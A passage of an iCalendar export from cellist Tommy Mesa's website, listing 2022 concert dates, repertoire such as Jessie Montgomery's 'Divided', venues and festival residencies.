UID:2780-1667674800-1667674800@tommymesa.com
SUMMARY:Symphony Pro Musica
DESCRIPTION:Maestro Mark Churchill leads Symphony Pro Musica for Jessie Montgomery’s Divided for cello and string orchestra\, and Respighi’s Adagio con variazioni \n  \n 
URL:https://tommymesa.com/event/symphony-pro-musica/
ATTACH;FMTTYPE=image/webp:https://tommymesa.com/wp-content/uploads/2022/07/6E775582-E8A0-4F0B-B0C9-DA6CA6A28AD7.webp
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221024T210000
DTEND;TZID=America/Los_Angeles:20221024T220000
DTSTAMP:20220711T191746Z
CREATED:20220711T191746Z
LAST-MODIFIED:20220711T191746Z
UID:2774-1666645200-1666648800@tommymesa.com
SUMMARY:Sphinx Virtuosi in Brazil
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-in-brazil/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221021T193000
DTEND;TZID=America/Los_Angeles:20221021T213000
DTSTAMP:20220711T191627Z
CREATED:20220711T191627Z
LAST-MODIFIED:20220711T191627Z
UID:2771-1666380600-1666387800@tommymesa.com
SUMMARY:Sphinx Virtuosi: Philadelphia Chamber Music Society
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-philadelphia-chamber-music-society/
LOCATION:Kimmel Center Cultural Campus
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/06/79A63CB2-51FA-411D-A68E-9A8ED58A75A9.png
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221017T190000
DTEND;TZID=America/Los_Angeles:20221017T210000
DTSTAMP:20220711T191425Z
CREATED:20220711T191352Z
LAST-MODIFIED:20220711T191425Z
UID:2768-1666033200-1666040400@tommymesa.com
SUMMARY:Sphinx Virtuosi: Cleveland Institute of Music
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-cleveland-institute-of-music/
LOCATION:Cleveland Institute of Music: Mixon Hall
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221015T190000
DTEND;TZID=America/Los_Angeles:20221015T200000
DTSTAMP:20220711T191210Z
CREATED:20220711T191210Z
LAST-MODIFIED:20220711T191210Z
UID:2765-1665860400-1665864000@tommymesa.com
SUMMARY:Sphinx Virtuosi: SUNY Buffalo
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-suny-buffalo/
LOCATION:SUNY Buffalo
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221013T190000
DTEND;TZID=America/Los_Angeles:20221013T210000
DTSTAMP:20220711T190912Z
CREATED:20220711T190912Z
LAST-MODIFIED:20220711T190912Z
UID:2761-1665687600-1665694800@tommymesa.com
SUMMARY:Sphinx Virtuosi: Carnegie Hall
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-carnegie-hall/
LOCATION:Carnegie Hall: Perelman Theater
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/2B364BA5-3858-49E0-A938-D1925D0641F0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221009T150000
DTEND;TZID=America/Los_Angeles:20221009T170000
DTSTAMP:20220711T190556Z
CREATED:20220711T190556Z
LAST-MODIFIED:20220711T190556Z
UID:2758-1665327600-1665334800@tommymesa.com
SUMMARY:Sphinx Virtuosi: University of Oregon
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-university-of-oregon/
LOCATION:Beall Concerto Hall: 961 East 18th Avenue\, Eugene\, OR
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20221007
DTEND;VALUE=DATE:20221008
DTSTAMP:20220711T190236Z
CREATED:20211222T101648Z
LAST-MODIFIED:20220711T190236Z
UID:2551-1665100800-1665187199@tommymesa.com
SUMMARY:Sphinx Virtuosi: Southern Oregon University
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-on-tour/
LOCATION:Southern Oregon University
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220925
DTEND;VALUE=DATE:20220926
DTSTAMP:20220218T093554Z
CREATED:20211222T101438Z
LAST-MODIFIED:20220218T093554Z
UID:2548-1664064000-1664150399@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Los Gatos\, CA
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-los-gatos-ca/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/B7104BEB-F1AA-4155-9B57-7F2CFB57D693.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220923
DTEND;VALUE=DATE:20220924
DTSTAMP:20220407T005740Z
CREATED:20220407T005740Z
LAST-MODIFIED:20220407T005740Z
UID:2715-1663891200-1663977599@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Healdsburg\, CA
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-healdsburg-ca/
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220917
DTEND;VALUE=DATE:20220918
DTSTAMP:20211222T101214Z
CREATED:20211222T101214Z
LAST-MODIFIED:20211222T101214Z
UID:2545-1663372800-1663459199@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Silver City\, New Mexico
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-silver-city-new-mexico/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/710FBCBC-BB9F-44BE-9394-F28D27190583.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220915T190000
DTEND;TZID=UTC:20220915T210000
DTSTAMP:20211222T101018Z
CREATED:20211222T101018Z
LAST-MODIFIED:20211222T101018Z
UID:2542-1663268400-1663275600@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Elko\, Nevada
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-elko-nevada/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/82A4A5D3-F15E-4EF3-9D58-511948C4AC8B.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220913T193000
DTEND;TZID=UTC:20220913T213000
DTSTAMP:20211222T100754Z
CREATED:20211222T100554Z
LAST-MODIFIED:20211222T100754Z
UID:2537-1663097400-1663104600@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Grants Pass\, Oregon
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-grants-pass-oregon/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/AC2C6EBF-58B9-4EB8-88B6-D3805593CFAB.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220911T150000
DTEND;TZID=UTC:20220911T170000
DTSTAMP:20211222T100329Z
CREATED:20211222T100236Z
LAST-MODIFIED:20211222T100329Z
UID:2532-1662908400-1662915600@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Crescent City\, CA
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev/
LOCATION:Crescent City\, CA
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/4B65A00C-DDA9-4DBA-A494-CEECDC44E920.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20220813T200000
DTEND;TZID=America/Los_Angeles:20220813T220000
DTSTAMP:20220711T185151Z
CREATED:20220711T184957Z
LAST-MODIFIED:20220711T185151Z
UID:2747-1660420800-1660428000@tommymesa.com
SUMMARY:JP Jofre at Art Park
DESCRIPTION:This concert will features works by JP Jofre for cello and bandoneon that will be recorded and released on all streaming platforms next year.  Returning to Artpark after a moving and stunning performance last summer\, the New York City-based JP Jofre Hard Tango Chamber Band\, was started in 2008 by bandoneonist and composer Juan Pablo (J.P.) Jofre. The quintet focuses on Jofre’s original works as well as authentic interpretations of legendary composer Astor Piazzolla. Argentinian expatriate JP Jofre\, highlighted several times by The New York Times\, and praised by Lincoln Center\, who called him “one of today’s leading tango artists\,” has seen his reputation grow by leaps and bounds.
URL:https://tommymesa.com/event/jp-jofre-at-art-park/
LOCATION:Art Park Mainstage Theater
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/60B39AE7-D19B-48A3-A642-84D0BE3B9695.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220809
DTEND;VALUE=DATE:20220810
DTSTAMP:20220218T095355Z
CREATED:20211210T113317Z
LAST-MODIFIED:20220218T095355Z
UID:2517-1660003200-1660089599@tommymesa.com
SUMMARY:Lakeside Symphony Orchestra
DESCRIPTION:Cello Concerto No. 1 in A minor\, Op. 33
URL:https://tommymesa.com/event/lakeside-symphony-orchestra/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/B7A16011-FAB5-421B-BFB6-2D4B82F9770A.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20220729T173000
DTEND;TZID=America/Los_Angeles:20220729T190000
DTSTAMP:20220711T184034Z
CREATED:20220711T184017Z
LAST-MODIFIED:20220711T184034Z
UID:2744-1659115800-1659121200@tommymesa.com
SUMMARY:Celebrity Series at The Heifetz International Music Institute
DESCRIPTION:Chamber music by Florence Price with Elena Urioste\, Tom Poster\, Paul Neubauer
URL:https://tommymesa.com/event/celebrity-series-at-the-heifetz-international-music-institute/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/CD818FFE-7853-4F9E-A83E-141309EAEA1C.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220721T193000
DTEND;TZID=UTC:20220721T213000
DTSTAMP:20220108T062019Z
CREATED:20220108T062001Z
LAST-MODIFIED:20220108T062019Z
UID:2582-1658431800-1658439000@tommymesa.com
SUMMARY:The Philadelphia Orchestra
DESCRIPTION:Tchaikovsky – Variations on a Rococo Theme
URL:https://tommymesa.com/event/the-philadelphia-orchestra/
LOCATION:The Mann Center
ATTACH;FMTTYPE=image/webp:https://tommymesa.com/wp-content/uploads/2022/01/1D93A445-FC97-4D61-AEF6-F3B008D8B701.webp
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220717
DTEND;VALUE=DATE:20220807
DTSTAMP:20211222T072326Z
CREATED:20211222T072326Z
LAST-MODIFIED:20211222T072326Z
UID:2529-1658016000-1659830399@tommymesa.com
SUMMARY:Cello Faculty @ Heifetz International Music Institute (Junior Division)
DESCRIPTION:
URL:https://tommymesa.com/event/cello-faculty-heifetz-international-music-institute-junior-division/
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/12/DECB5D14-D60A-4422-9FE6-30E539D28026.png
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/New_York:20220713T190000
DTEND;TZID=America/New_York:20220713T210000
DTSTAMP:20220711T183102Z
CREATED:20220711T183020Z
LAST-MODIFIED:20220711T183102Z
UID:2740-1657738800-1657746000@tommymesa.com
SUMMARY:Art of the Piano Recital with Michelle Cann
DESCRIPTION:Works by Andrea Casarrubios\, Claude Debussy\, Carlos Carrillo\, Sebastian Quesada\, Mario Oyanadel\, and Kevin Day.
URL:https://tommymesa.com/event/art-of-the-piano-recital-with-michelle-cann/
LOCATION:Werner Recital Hall @ Cincinnati Conservatory of Music
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2022/07/C3B4C238-5BA7-41E1-BBA2-B60E9A6A7E79.png
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220626
DTEND;VALUE=DATE:20220718
DTSTAMP:20211222T072449Z
CREATED:20211222T072032Z
LAST-MODIFIED:20211222T072449Z
UID:2526-1656201600-1658102399@tommymesa.com
SUMMARY:Cello Faculty @ Green Mountain Chamber Music Festival
DESCRIPTION:
URL:https://tommymesa.com/event/cello-faculty-green-mountain-chamber-music-festival/
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/12/B5DCF952-042F-49F0-88A6-61424E5A1483.png
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220530
DTEND;VALUE=DATE:20220606
DTSTAMP:20211222T071716Z
CREATED:20211222T071716Z
LAST-MODIFIED:20211222T071716Z
UID:2523-1653868800-1654473599@tommymesa.com
SUMMARY:Minnesota Orchestra Residency
DESCRIPTION:
URL:https://tommymesa.com/event/minnesota-orchestra-residency/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/02BC36C6-A192-4CD6-9D06-644BDD328B72.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220525T193000
DTEND;TZID=UTC:20220525T213000
DTSTAMP:20220407T000517Z
CREATED:20211222T071203Z
LAST-MODIFIED:20220407T000517Z
UID:2520-1653507000-1653514200@tommymesa.com
SUMMARY:Virginia Arts Festival: Olga Kern and Friends
DESCRIPTION:Olga Kern\, piano \nTommy Mesa\, cello \nAlexandre Da Costa\, violin
URL:https://tommymesa.com/event/virginia-arts-festival-with-olga-kern/
LOCATION:Robert Hixon Theater\, Norfolk\, Virginia
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/12/5F4F0E90-C67D-4EC2-B545-E232A743A142.png
END:VEVENT
END:VCALENDAR